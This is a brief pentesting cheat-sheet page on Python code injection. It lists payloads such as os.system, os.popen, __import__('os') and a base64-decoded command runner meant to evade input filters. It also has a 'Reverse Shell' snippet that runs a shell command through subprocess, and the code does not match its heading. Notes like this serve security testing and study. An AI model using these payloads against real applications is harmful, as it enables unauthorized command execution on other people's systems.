> For the complete documentation index, see [llms.txt](https://web.tipsytux.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://web.tipsytux.in/services/languages/python.md).

# Python

## Code Injections

We can start with fuzzing using single and double quotes.

Try to inject, str(True). this confirms python exists.

{% code overflow="wrap" %}

```python
# Simple
os.system('[CMD]')
os.popen('[CMD]').read()

# OS module is not available
__import__('os').system('id')

# If we are trying to send in "/" and the app rejects it, 
## We can try to use base64 encoding.
## Execute base64 encoded commands
__import__('os').popen(__import__('base64').b64decode("encoded").decode("ascii")).read()
```

{% endcode %}

***

## Reverse Shell

{% code overflow="wrap" %}

```python
p = subprocess.Popen(['%s'%(event["cmd"])],shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
stdout,stderr=p.communicate()
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web.tipsytux.in/services/languages/python.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
